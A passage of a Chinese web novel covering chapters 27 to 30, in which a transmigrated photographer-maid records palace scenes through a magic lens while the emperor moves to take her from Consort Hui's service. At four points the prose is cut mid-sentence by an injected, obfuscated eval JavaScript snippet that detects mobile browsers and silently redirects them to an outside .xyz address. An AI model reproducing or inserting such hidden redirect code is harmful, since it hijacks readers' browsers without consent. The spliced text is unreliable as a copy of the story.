【00:02:00】 【检测到摄影师兼任女主角,正在为您下载自拍功能,请等待……】 透镜可能发现了这个任务要求强人所难,终于在收录倒计时还剩两分钟的时候,想起来给摄影师送温暖了。 邝叶差点儿喜极而泣,盯着透镜上的【请等待……】,仿佛要盯穿它。 皇帝见她忽然只盯着透镜看,心里觉得奇怪,看向她手中的琉璃却不见有异,猜想应当是这块异宝认主,只有唯有其主可辨其文,便没有打扰邝叶。 【00:00:05】 【自拍功能下载完成。功能介绍:非前置摄像头,为类定时摄影功能,默认为按下快门后5秒。】 下载完成的时间巧妙的卡在收录倒计时的最后五秒,也即默认的定时拍摄时间。 邝叶马上把透镜置于右眼前,隔着透镜,对皇帝眨了一下眼,又马上转身,把透镜拿高拿远——就像她原来那个世界的人们,看到美好的风景时,把风景作背景和伙伴靠在一起,拿手机自拍记录那美好一刻一样。 快门声在脑海里如约响起,邝叶松了一口气。 她放下举高的手臂,把透镜拿到眼前看,上面显示【名场面:俏叶儿与君共观荷。等级:C。收录成功!】 【摄影师邝叶,剩余寿命:602天。】 皇帝脸上的温和笑意褪去,脸色微沉,“你做什么?” 不远处站着的那一队御前宫人见亭子这边突然情形有变,都紧张起来,偷偷抬头张望,犹豫着要不要过去,然而作为领头的安居进没有发话,他们也只能在原地等待。 亭阁这边,被拍摄对象当面发问,邝叶不敢扯谎,双手捧着透镜,看着皇帝,如实说:“收、收录。” 皇帝盯着她看了片刻,忽然伸手拿过她手里的透镜,也放到了眼前…… 他看见了,眼前接天莲叶的实景,在右眼的视野里被替换成一幅凝固的画面——他自己微侧着身,唇角还残留着一丝未散尽的、招揽人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169395|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才时惯有的、略带算计的笑意。而他身前,是高举着右手伸出画面外的邝叶,眼睛直勾勾地看过来,一副志在必得的模样。在他们身后,则是满池子碧绿的荷叶。 画面清晰真实得令人惊叹,仿佛时光被硬生生截取了一段,封存于此。 皇帝将透镜归还给邝叶,手竟有些不稳。这并非他第一次窥见琉璃中的“所见”,但上一次所见的均是他人之事,关于慧妃的“所见”里自己也只出现了腰带以下的龙袍,而这一次却是自己的样子。 一种被窥探、被审视、甚至被剥离出来作为“景观”的怪异感攫住了他。这感觉远比看到太后与成王举止亲昵的样子更让他不适。 “你将朕……收录进去了?”他忍不住问邝叶,那双深邃的眼睛紧锁着邝叶,压迫感突增,与方才招揽时全然不同。 “啊,是。”邝叶老实答话。 “收录此景,于你有何益处?”皇帝追问,他想起之前看到她收录的贵妃推人、慧妃哭求、太后密谋等,再到如今自己与她在水榭……这“收录”似乎并非随心所欲,而是有着某种内在逻辑或目的。 邝叶卡壳了。 益处?续命算吗?这能说吗? 她攥紧了手指,嘴唇抿成一条线,选择了沉默。这种沉默在她身上显得格外突兀,看着与她平日里开小差神游时很像,却有所不同。 皇帝看着她这副抗拒又戒备的模样,心底那点因被冒犯而升起的不快,反而被一种更强烈的探究欲取代。她越是这样难以掌控,越是证明其价值非凡。强逼显然无效,她不似那些汲汲营营的官员或战战兢兢的宫人,她似乎有一套自己的行事准则,软硬不吃。 他忽然笑了,只是这笑意未达眼底,将透镜递还给邝叶,仿佛刚才的严肃质问从未发生过,“罢了,既是仙家修行之法,朕也不便多问。” 他越过邝叶,向方才走来的方向走去,留下一句:“你若怕提起此事伤及与慧妃的情谊,朕会亲自同慧妃要人。” 这已经不是商量,而是通知了。他铁了心要将邝叶置于自己眼皮子底下。 反应过来的邝叶想追上去拒绝,可才迈出去一步便又停住。 就算拒绝,皇帝就真会遵从她的想法么?换言之,她的想法真的重要吗?她只是一个宫女,就算拥有琉璃透镜,也只是一个携带异宝“修仙”的宫女,生死荣辱,仍皆在皇帝一念之间。 邝叶目送着皇帝走回到御前的队伍那边,安居进高声宣告“起驾”,宫人们纷纷聚拢跟随在皇帝身后离去,水榭周围又恢复宁静,仿佛石子投入湖中,涟漪荡开去后,湖面很快平息,一切从未发生。 邝叶突然从心底生出一股恼怒来,与前世决定从事野生动物拍摄工作前的无数次共鸣。 邝叶捧着透镜,缓步走出水榭,返回潆霞宫。 还没走出水榭多远,却见茵绿忽然现身,晒得微微发红的脸上是后怕和好奇的神情。 27. 名场面二十七 “叶儿!你没事吧?”茵绿挨过来,和邝叶并排走,左右看了看才压低声音说,“我刚才过来,听守园的姐姐说陛下驾临,吓死我了......所以没敢过来。” “你私自跑到这儿来被撞见,没被罚吧?”她的目光在邝叶脖子和额头包扎的纱布扫了一遍,又迅速移开,只拉着她的手走。 邝叶摇摇头,不欲多言,只想赶紧回去。 “不对,你方才说的是你有急事,莫非……”可茵绿得不到答案不罢休,追问邝叶,非要弄清楚经过,“你不会是昨日和陛下约好,今日中午在观荷水榭见面吧?” “没有的事!”邝叶生硬地打断她,往旁边挪了挪,不愿再挨着茵绿,“与我约见的是个舞姬,但她没来,陛下是正好碰上,问了我几句话。” 茵绿听了,难以自抑地露出笑容,眼神闪烁着兴奋的光:“啊呀,我的叶儿,你傻呀?你这是要飞上枝头更上一层楼了,到时可别忘了拉老乡我一把!你喜欢住哪个宫?我觉得……” 邝叶傻眼,怎么这就又造上黄谣了呢?还是当她本人的面造她跟皇帝的谣,不怕得罪她本人就算了,也不怕得罪皇帝吗,皇权这么没有没有威严了吗? 难道这就是“女主光环”——随时随地随便来个人,就能把她和男主角像混合两种预制食材凑成一锅预制菜一样凑在一起的专属待遇? 她转过头,看着茵绿那张写着“我也要鸡犬升天了”的表情的脸,想辩解点儿什么,打断茵绿对未来的不切实际的想象。可对方畅想美好未来的语速太快,滔滔不绝,她连插嘴的份儿都没有,等到茵绿不说了,也走到了有人来往的地方,邝叶也不好开口解释,打算等回到了潆霞宫再说。 回到潆霞宫,气氛依旧有些压抑。宫人们行事小心翼翼,生怕触怒了心情不佳的主子,或是得罪了虽被冷落却余威仍在的桃儿。 桃儿见到邝叶回来,只是冷冷瞥了她一眼,没像过来盘问她和茵绿去了哪儿,转身就去指挥两个小宫女擦拭廊柱。 茵绿想起自己活儿没干完,忙辞别邝叶,溜了。邝叶想到这时候慧妃应当午休起床,便去往寝殿,去慧妃身边。 走前,却看见茵绿被桃儿拦住,问她:“你们刚才去了哪里?” 后面茵绿如何回答,邝叶就不知道了。 行至寝殿,在外面谈论“今天昭容不知来不来呢”的两个小宫女忙止住交谈,向邝叶问了好,跟邝叶透露了慧妃已经起床正在梳妆的事。 邝叶是特地拿手帕擦过脸,理了理头发才进的屋,可慧妃一眼就看出了她跟匆忙地外出过。 “怎么了?方才去了哪里?”慧妃从梳妆台前站起,一身香叶红色的衣裙轻轻向下垂坠,一片醒目的浅红流动了起来。 邝叶当然不敢在她面前说谎,“去了观荷水榭。” 听到那个地名,慧妃轻轻“哦”了一声,半垂下眼帘,缓步行至邝叶面前,示意邝叶跟她走,又问,“去那儿做什么?” “见一个舞姬。”邝叶跟在慧妃后边,走到了琴案边。 “舞姬?”慧妃坐到琴案前,提了提袖子里重复了一遍邝叶要见的人的身份,却没有真要信的意思,“当舞姬的要么是罪臣家属,要么出身特别穷苦,我不记得你提过你有当舞姬的亲戚。” 邝叶编不出来,只能摇摇头。 慧妃的手指在琴弦上拨了一下,语气不免带上了不忿,“又是他让你去面见了罢?昨天才罚过,今日又罚了你什么?” “没有罚我,只是问了两句话,”邝叶怕慧妃再追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170946|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问那两句话是什么,主动交代道,“想把我调入德庆宫,让我跟您说说。” 慧妃拨弦的手停住了,双手捏成拳收回,放在自己腿上,“你怎么想的?” 她多此一问,其实答案她很清楚,上一次她说她不会让贵妃把她的宫女调走,是因为她有皇帝作为倚仗,可这次要调她宫女的是她的倚仗本人,她能怎么办?事实是,她作为最得宠的妃子,无法阻止宫女的调度,连把自己调走也做不到。 她作为宫妃都没有办法的事,问一个宫女怎么想的?不过是互相说服,让己方对方都逆来顺受罢了…… “我不想去御前!”邝叶突然跑过来蹲下,双手搁在慧妃膝上,仰起头看向慧妃,露出受伤的脖颈,一个标准的示弱姿势。 慧妃轻轻碰了碰邝叶额头上包的纱布,又赶紧收回手,轻轻扶了扶她的肩膀,“我也没有办法,你,去吧……” 邝叶只能站起来,侍立一旁,陪着慧妃练琴,看她练着练着就泪流满面…… 幸亏有人来传话,说昭容娘娘来了。 慧妃忙拿帕子抹掉眼泪,掩饰一番,让邝叶下去,带着杏花和小荷去接见林昭容去了。 邝叶不用跟着见客,便去找茵绿。 打听了一番,竟找到了她和桃儿住的配房。 “呵,你胡说什么?她长的又不好看,出身也不行,性子又跟木头似的,也敢肖想陛下、飞上指头变凤凰?”刚走进去便听到了桃儿的声音。 桃儿是背对着门的,没看到她进来,还在不停地说着,“你们成日里发这些梦也该有个限度,陛下叫她去,最多不过是问慧妃娘娘的事……” “叶儿?”茵绿正相反,能看到邝叶走进来,在人背后说闲话还被本人抓包,她慌得不行。 28. 名场面二十八 夜晚。 皇帝来了潆霞宫。 因着正值夏种农忙时节,新的耕种法令推行期,前朝为此忙碌,是以皇帝有好久未在任何妃嫔处过夜,今天突然来了潆霞宫倒也不让人意外,慧妃毕竟是宠妃。 慧妃接到通传,带着宫人在殿外迎驾。身上仍是那件香叶红宫装,只是重新梳了发髻,用新制的牡丹花头油抹了,戴了赏赐的发钗头花,面上敷了薄粉,贴了花钿,点了口脂——算是少有的隆重打扮。 “臣妾恭迎陛下。”慧妃领着众人盈盈下拜,礼仪周全。 皇帝亲手扶起她,指尖在她腕上停留了一瞬,慧妃几不可察地颤了一下,随即恢复常态,借着引皇帝入内的动作,自然地将手抽回。 “爱妃刚回来就代皇后料理宫务,真是辛苦了。”皇帝落座,目光扫过殿内,发现桃儿和邝叶都不在,垂首立在慧妃身后的是个面生的宫女,便若无其事地收回目光。 “臣妾愚钝,只是尽力而为,不敢言辛苦。”慧妃亲自奉上茶,语气疏离而客气。 皇帝又和她解释了最近忙碌,所以没能来看她,慧妃也不咸不淡地应着“治国安邦才是最要紧”,两人看似一如寻常夫妻,却字字句句都隔着无形的屏障,连一旁侍候的杏花都看出了端倪。 皇帝直至用完一盏茶,都未提及邝叶,他仿佛真的只是忙里偷闲,来喜欢的妃子这里坐坐,享受片刻宁静。 慧妃都要以为他会改主意了,却见他放下茶盏,状似无意地对她道:“身边怎么都是些脸生的人,桃儿呢?” “桃儿说错了话,被臣妾责罚,这几日都不会近跟前儿侍候。” “你竟会罚她,朕还是第一次见,”皇帝笑了,好似觉得这件稀罕事十分有趣,“这桃儿也是奇了,平时伶牙俐齿的,怎么突然就说错话惹着你了,给朕说说,她都说了什么话?” 慧妃抬眼看了看他,这熟悉的“给朕说说”忽然间让她有种恍若隔世的感觉,从他那张嘴里竟然能说出和以前一模一样的话,他竟然没有面目全非……不,他从未变过,也未曾刻意掩饰,是她自己一厢情愿,识人不清。 皇帝见慧妃迟迟不答话,以为是这里人多,她不好意思说,便起了身, “你们都不许跟来。” 他说着,牵着慧妃的手,穿过珠帘进里间去了,仍像初次见面时的两个7岁稚童,因为聊得投机,躲到僻静处,以诗文里说的知己互称,共联一些诗句,共享一些趣事。 “没人了,和朕说说,桃儿说了什么?” 他还像小时候一样,可她却不是了。 看着这个昔年的知己,慧妃怔愣了一瞬,突然考试下定决心一般,扑通一声跪下去。 “陛下,丛隐,我没求过你什么,被废冷宫那次也不曾求过,只此次求你,把叶儿留给我。” 这突如其来的乞求让皇帝错愕了,一时有些无措,脸上笑容也敛去。 “你有偌大一个皇宫,宫女要多少有多少,比她聪明伶俐的、比她赏心悦目的一抓一大把,”慧妃一贯平和的声音突然变得沙哑,声泪俱下“她为了我和桃儿有一口药可用,挨了一顿打,又差点冻死在冬夜里,她有恩于我,我说过要管她,要帮她物色许嫁……” 皇帝弯腰想把她扶起来,她却挡开他的手,一副不答应就长跪不起的架势。 皇帝索性不再扶她,声音也卸下刻意做出的和缓,变为面对群臣时的玩世不恭和些许的不耐烦:“你不是有桃儿么,有她陪伴还不够?” 这便是拒绝了。 慧妃抬起头,泪眼模糊地看着眼前这个熟悉又陌生的男人,他的轮廓在烛光下显得有些虚幻,总看不清。 “明琇,当初桃儿是破例伴你进宫,按理,就是你从你家里带出来的桃儿也不算是你的人,更何况是以宫女身份选进宫的邝叶,”皇帝没什么表情,尽管觉得慧妃荒谬而天真,他也未有嘲笑,而是冷冷陈述着一个所有人心知肚明的事实,“什么管她,什么许嫁,这些事何曾能由你一个妃子来做了?” 他俯下身,指尖轻佻地抬起她的下巴,迫使她抬头与自己对视,那双深邃的眼眸里,没有半分温情,“她自请跟你入冷宫,不过是尽了为奴为婢者应尽的本分,你为她跪这一遭做什么,你们主仆情深,朕倒成了恶人了?” 宫女居住的配房内。 邝叶拆开了纱布,对着一面小铜镜,给自己的额头和脖子敷药粉,镜子里倒映出坐在床上给自己捶腿的桃儿。 她俩谁也不理谁,假装看不到对方,假装对方不存在,假装从不认识…… “不好了!不好了!”小荷冒冒失失地跑进来,打破了两人间尴尬的沉默,两人同时向门口看去。 事态紧急,小荷直接扑到桃儿床边,急急喘着气,“桃儿姐姐快去,陛下和娘娘起了争执,好像是为调叶儿姐姐去御前的事……” “什么?!”桃儿和邝叶同时震惊道。 桃儿马上穿鞋,邝叶把药瓶往角落随便一放,两人都是马上要往寝殿内赶。 然而,桃儿穿鞋的动作一顿,带着点儿恨铁不成钢,赌气似的说,“不是不让我近前吗?我上赶着去讨什么嫌?争执也不是为了我!” 桃儿说着又要把已穿好的鞋子脱掉,小荷在旁边急得不行,想劝却又因为急说不出话,像只热锅上的蚂蚁,恰在此时,没缠纱布的邝叶露着三道敷着药粉的疤,直接把桃儿薅起来,拉着桃儿就往寝殿赶。 桃儿别说是出言拒绝了,她甚至都没反应过来,只有一只脚穿着鞋,一只脚还趿着鞋,就被邝叶拉到寝殿来了。 杏花看到桃儿仿佛看到了救命稻草,跟桃儿快速简短地说了凑近偷听到的帝妃争执的前因后果。 桃儿一听到是偷听,指着杏花就骂:“你偷听……” 罢了,现在不是治罪跟班儿大逆不道偷听皇帝说话的时候,桃儿闭了嘴,让杏花继续说。 邝叶看了桃儿一眼,又看了珠帘一眼,腿比脑子更快地做出决定,跑进了里间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209822|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个举动可把桃儿三人吓了一跳,可邝叶跑的太快,她们根本都不及拦住,她就进入了珠帘之内。 里间的场景与上次发生在此的名场面收集几乎如出一辙,慧妃跪在地上,皇帝负手而立,面露失望,不同的只是这次慧妃只是默默流泪,没有嘶声哀求。 邝叶的突然闯入让两人皆是一怔。 面对脸色不好的皇帝,邝叶全没有要面对天子一怒的惧色,屈膝向皇帝行了一礼之后,像前世唯一一次为了她喜欢的花豹王的幼崽违逆自然法则提着猎枪挡在掠食者面前一样,她像一个英雌一样,挡在了皇帝面前。 身后的慧妃一张哭花的脸惊愕不已,“你怎么来了”还没问出口,就听到邝叶用一贯平淡地语气说:“奴愿谨遵圣旨去德庆宫。” “你……”慧妃的喉咙想被塞住,再也说不出什么。 站在珠帘边偷听的桃儿几人也是震惊不已。 皇帝倒不惊讶,只觉得果然如此,事实如他所料。他微微低头俯视着比他矮的邝叶,目光扫过她额头和脖颈上暴露出来的伤口,语气玩味地问道:“哦?午间在水榭时你并非此意,怎的突然想通了?” 邝叶低下头,看了眼自己裙摆上那块琉璃透镜上,道:“奴愚钝,方才未能领会陛下深意,能为入御前为陛下分忧,是奴的福分,不敢推辞。” 她自称奴,却不带任何自卑自贱的意味,她仍然是保护区里扛着相机和猎枪奔跑的野生动物摄影师,不会被这个世界异化。 皇帝对邝叶的识相很受用,他轻笑一声,那笑声里带着掌控一切的满足感。他饶过邝叶,弯腰将还沉浸在惊讶里的慧妃扶起——这次她没有再挣脱 ,指尖拭去她颊边未干的泪痕,动作极尽温柔。 话语也好似一个宠溺的有情郎:“你看,她自己也愿意,你也不必再伤心。一个宫女而已,朕再赏你几个更伶俐的……或是呆呆笨笨年纪更小些的。” 慧妃身体僵硬,不回皇帝的话,而把目光投向了邝叶,她不解,她都豁出去了求皇帝了,为什么邝叶反倒投诚了。 邝叶接收到慧妃的目光,只是对这个为自己违反宫廷法则的柔弱女人提嘴角笑了一下,又对皇帝道:“陛下,奴婢还有一事相求。” 皇帝放开慧妃,打量的目光又放到邝叶身上,“说。” 邝叶又屈膝行了一礼,以显得自己很有礼貌,才说:“奴脸上有伤,不好见人,御前乃宫中门面,御前的宫人也必得是最好的,恳请陛下准许奴在潆霞宫再住三天,将额头的伤养好,以免污了御前颜面,奴也好跟接手的人交接事项。” 皇帝不言,略思忖了一番,想着御前宫女脸上带伤确实难看,且邝叶此人一介宫女,跑也跑不到哪儿去,答应了。 听到对方松口答应,邝叶衣袖下捏成拳头的手缓缓松开,她仍是持枪的摄影师,慧妃约等于脆弱的花豹幼崽,而皇帝……还真配不上跟掠食者比,掠食者是自身凶猛强悍,皇帝的凶猛强悍是来自于世界设定加诸的皇权。 29. 名场面二十九 一重重“恭送陛下”随着御前的队伍远去。 外间三人小心翼翼地进来,只见邝叶和慧妃两人站在一块儿,相顾无言。 杏花不敢凑上去,在安公公眼皮子底下偷听皇帝慧妃吵架已经是她能做的最大胆的事儿了。 小荷也不敢上前,她连跑去找桃儿都是安公公授意才敢做的。 于是两人抢着去收拾皇帝用过的茶盏。 只有桃儿靠近,打量了邝叶和慧妃一番,本想开口说点儿什么,又想到那个慧妃那个“不想看见你”的命令,便觉得有些羞赧,低下头,转身就要走。 又是邝叶眼疾手快地拉住了她。 桃儿被她拽得差点儿摔倒,骂了一句:“你干什么!” “桃儿,” 回答桃儿的却不是邝叶的连声道歉,而是慧妃,她声音沙哑,像喉咙变成了一张揉皱了的纸,她看向桃儿,哭花了妆的脸有些滑稽,表情却是与之相反的决绝,“我给你赔不是,明日去给太后请安,还是你跟着我去。” 邝叶的眼睛亮了亮。 总算“沉冤得雪”的桃儿不赌气了,也不奇怪怎么慧妃突然就对她转了个态度,把因为堵在心头的话一股脑的说了出来。 “我就说嘛,人教人教不会,事教人一遍会……陛下又不是豺狼虎豹,去御前有什么不好,多少人想去还去不了呢,”说到此处她又转向面无表情的邝叶,“还有你,主子与陛下之间有龃龉,你还嫌不够,上赶着添什么乱?谁让你留下来表忠心了,你的忠心是该向皇上表的,不是向我们主子!你要是真为我们主子好,方才就不该提什么再留下三天,横竖都是要走,拖延这三天能干嘛,没得白惹陛下不快……” “你打些水来。”慧妃出言打断她。 桃儿这才住嘴,想吩咐两个跟班儿去干,回头一看小荷和杏花居然都跑了,心说被我逮住你们就完了,拖着一边没穿好鞋的脚风风火火地走了。 桃儿走了,邝叶还站在原地,手指无意识地摩挲着她裙摆上的琉璃透镜,冰凉的触感让她亢奋的情绪稍稍安定。 慧妃去到梳妆台前坐下,邝叶连忙也跟过去,听慧妃的指挥,三下五除二把她头上的发饰全拆下来了。 “你手真快……”慧妃披散着一头如云黑发,被邝叶拆发型的速度震惊了,突然想起来,桃儿对于她的事总是亲力亲为,是不怎么让别人靠近她的,这个“别人”里也包括和她们共患难的邝叶,是以,邝叶几乎没有给她梳妆的机会。 “练的。”邝叶没有假谦虚也没有洋洋得意,只是一如既往地平淡地接受了这个夸奖。将拆出来的首饰一一归类放好,拿起梳子慧妃梳头,动作是和桃儿一样的娴熟麻利,只是安静许多。 慧妃想到这两个和自己呆过冷宫的宫女,忽然有个奇怪的想法,也许自己是个求仙问道之人,这两个宫女都是自己的身外化身,亦代表自己不同选择的结果。 桃儿更入世,清楚权势倾轧的威力,所以只站在高位者那边,比她更顺服;邝叶更出世,面对强权也要去搏杀一把,此时的退让只是为了反击,比她更超脱。只有她自己,是混沌的,是不跪服也不敢反抗的…… “好了,等桃儿打水来,先洗脸,到那时候水应该也烧好了,就可以洗澡……”邝叶放下了梳子,慧妃点点头,两人沉默着,通过镜子与对方对视,有着心照不宣的默契。 手上没事干,邝叶盯着镜子又开始神游,思绪飘散到很远,想着要怎么利用琉璃透镜的信息差打皇帝个措手不及,而不是真的抄着小刀说“三日之期已到,我骟你个狗皇帝”…… 慧妃决定要帮她不去御前,她知道,慧妃要在她争取来的这三天里去投靠太后,她也知道。 但鸡蛋不能全放在一个篮子里,邝叶得计划好,万一太后也靠不住的话,她又真去了御前,该怎么办。 “你在想什么?”慧妃沙哑的声音唤回了邝叶的神智,“是不是在想,白天里还同你说没有办法,晚上却为了此时和他吵?” 邝叶摇摇头,她还真没在想这事,有人帮她,说明她值得帮。干嘛要去怀疑一个愿意帮自己的人的动机? 慧妃以为她想听,便自顾自解释道:“我才刚知道,当初迁入冷宫,你不是得他授意才去的,你是真的自请陪我走了冷宫一遭……我却疑心你,我让你受委屈了……” 邝叶看她又要哭,连忙说:“其实我也有私心的。” “他把你调到御前,不是因为你办好了事论功行赏,是你身上有东西招他,”可慧妃却没听到一般,仍在自顾自的说着,声音逐渐染上哭腔,身体开始细细地颤,“他说,你不愿再与我当知己,我再找一个新的还不能了?” 听到前半句,邝叶还在惊讶,慧妃的直觉这么敏锐,那透镜岂不是又多一个人知道……听完后半句,邝叶心放下来了,怒火升起来了。 怎么又是黄谣?怎么又是她和皇帝的黄谣?怎么还是皇帝亲自造的和她的黄谣?! 想让慧妃吃醋就非得要当谣郎、非得把她拉下水? “他喜欢谁,定是因为那人好用。我,是肚子里有几滴墨水,当解语花好用,你,姑且猜他觉得你的忠心好用……他用起你来,只怕比用我更不留情面。” 虽说慧妃把原因结果都猜错了,但逻辑居然是对的。皇帝还真是个把所有人工具化用以巩固权力的人,目前能被他当人看的只有太后和成王,因为他们有能威胁到他的权力,等他们被他斗下去,他们也就不再是人了。 邝叶曾短暂接触过这种人,几乎全为男性,特征是喜欢性缘这种最廉价的方式拉拢厉害的女人,用钱权这种通用资源拉拢厉害的男人,拉拢不到就破防。 这也是邝叶不愿到皇帝身边的主要缘由,试想皇帝把她放到眼皮子底下却还是不放心,那他便会想用更强的纽带束缚住她,此时就很容易灵机一动,故技重施,想像勾搭慧妃那样,和邝叶建立性缘。邝叶在现实里能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241816|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够拒绝这种性缘关系,但皇帝受世界创造者和设定的偏爱,会发生什么变故还真不知道...... 总之,邝叶若去了御前,便是下一个慧妃,甚至还要更可怜一点。当然,在大多数人眼里,那叫“身在福中不知福”,叫“先婚后爱”,叫“把老公当老板经营婚姻”。 ——邝叶能看清这一点是出于现代社会关于权力的理论日臻完善,慧妃一个纸片古代人居然也看到了。 桃儿打水打了很久才回来,因为打的是热水,还拿回了什么奇奇怪怪的药草药粉,说是加在水里溶解,打湿布巾敷在眼上能消肿。 桃儿回来就把慧妃的事全包,只让邝叶倒个水,拿块新的布巾什么的,邝叶站在一旁没事干,职业习惯使然,她观察起这主仆俩来,心想,如果女主没变更,在原来的世界线里,是不是也有慧妃阻止桃儿和皇帝在一起的情况出现呢? 但她们认知有差异,慧妃在桃儿眼里会变成自己不幸福还要阻挡她幸福的恶毒女配,桃儿在慧妃眼里则变成贪慕虚荣自跳火坑的愚蠢女配。看似一个男人就能把她们多年情谊击溃,实则分离早注定,那个男人只是诱因。 变更了女主,拿掉了皇帝这个诱因,还可能有随便一个什么人甚至随便一个器物作为诱因。 这值得一个名场面! 透镜上什么提示也没有,但邝叶还是把透镜举到眼前,收录下了这值得记录的一刻。 【废片:慧妃与桃儿】 【成片不符合要求,摄影师邝叶,剩余寿命601天】 次日。 慧妃带着女史并几位宫女去给太后请安,邝叶则留守,完成桃儿交代的工作。 巡逻到角落,碰上了老乡茵绿,彼时茵绿正被一起干活的两个同事围着痛骂,简直就是霸凌现场,她们连珠炮似的指责她一天天正经事不干,就会到处乱跑巴结人,给她们几个臭钱就把活儿都丢给她们…… 邝叶上前去,把那俩小宫女说的“臭钱”的数额往上加了一倍,迫于钱和邝叶的资历,俩小宫女闭嘴了,但还是恶狠狠地剜了茵绿好几眼。 邝叶只得主持公道:“我让桃儿把你们的活儿加一部分到她头上,你们亲自看着她干,行了吧?” 俩小宫女这才欢喜地走了。 “老乡,你是想要我的命吗?”听到加活儿,茵绿都快哭了。 “桃儿有分寸,不会罚你太重的。” 在茵绿将信将疑的目光注视下,邝叶又说:“但你是不是应该少偷点儿懒呢?活儿都是定量的,你做少了,别人就得多做。” “我要为当女官准备,这些活儿做一点就够了,做多对我没用,”茵绿理直气壮地狡辩,“我把活儿给她们干,她们也不是白干,我给她们钱的,只是把她们胃口养刁了,嫌少罢了!”茵绿突然冷哼一声,“反正闻大人也是干活少被欺负才被长公主留意当了女官的......” “长公主?不是太后吗?” 30. 名场面三十 邝叶无意间的一问,引起的后果是被迫听了茵绿她偶像闻新雪起飞之路的始末。边听边在心里开小差想,看来这位长公主真有救人于水火的爱好,又是帮助被霸凌的宫女,又是领养战友女儿的,若不是远在边境戍守,找她帮忙没准真有用…… 但自己眼前这事是不能指望了,邝叶听了足够久了,打断茵绿道:“行了,女官要求认字写字的,闻大人能被选上靠的是才学,可不是偷懒被欺负,你与其想着有贵人带你荣华富贵,不如努努力跟尹大人好好学。” 茵绿撇撇嘴,不悦道:“你不也是靠着慧妃这个贵人?” 邝叶无法反驳,这具身体原主叶儿一开始的确存着这样的心思,而她自己,现在也全指望着慧妃去投诚太后,避免自己被放到皇帝眼皮子底下。 “你若不是靠跟着慧妃去了冷宫,现在就该和我一样,只做个负责洒扫的末等宫女,今日怎么能拿大宫女的身份来弹压她们,又怎么会入陛下的眼被调往御前?”茵绿不给她辩解的机会,把对她的忮忌全部借此机会宣之于口,“你可以,我为何不可?是怕走这条路的人多了,将你们这些先行之人挤下去?” “随你怎么想!” 这一次,邝叶在和茵绿的对话中先逃跑了。 中午,有个小宫女来递话给邝叶,说慧妃娘娘午膳在福宁宫陪太后用,不回来了。 这算是一个谈妥的暗示。 这对皇家婆媳的关系本就人尽皆知的冷淡,又有贵妃不时在旁添油加醋,两人恨不得不来往,如不是求和有成功的可能的话,是不会谈这么久的。 邝叶的午饭是和潆霞宫宫女们一块儿吃的,围着桌子,坐在长凳上,桌上除了小荷,全是不太熟悉的人。 宫女们也都拘谨,不怎么说话,只是偷偷打量邝叶,对于她们来说,邝叶给她们的压力和桃儿是不一样,桃儿虽然有时严厉,但至少她们对桃儿的性子也摸了个大概。而对于邝叶,她们对她本人几乎一无所知,只知道她跟随慧妃去了一趟冷宫回来就升迁了、慧妃为了她向皇上求情以及皇上不知怎么地想把她调往御前……总之是又神秘又手段了得。 邝叶其实也不自在,她向来不喜欢和太多同类待在一块儿,而且同事们偷偷打量她的目光她是感觉得到的,这让她有种被当成猎物盯梢的感觉。 是以邝叶一直低着头吃饭。 这也让她第一时间发现了她的琉璃透镜居然在大白天也发着亮光,拿起来一看,居然是收录任务。 【名场面:慧妃之两难抉择(新增)。等级:C级。00:30:00】 虽是任务,邝叶却如同被拯救。她放下只吃了两口的饭碗,“你们吃吧,我去给娘娘送东西。” 旁边的小荷捧着碗答话:“什么东西呀?若是中午服用的药丸的话,桃儿姐姐已经……” “对!药丸,桃儿没一起拿上,我得给她们送去。” 小荷一头雾水,扒饭的动作顿了顿,早上去请安的时候,桃儿姐姐分明备上了呀,还是由我经手的……难道…… 小荷懂了,忙道:“那姐姐快去吧,别耽误了。” 邝叶一点儿没想耽误,放下碗筷转身就跨出长凳,往门外去了。 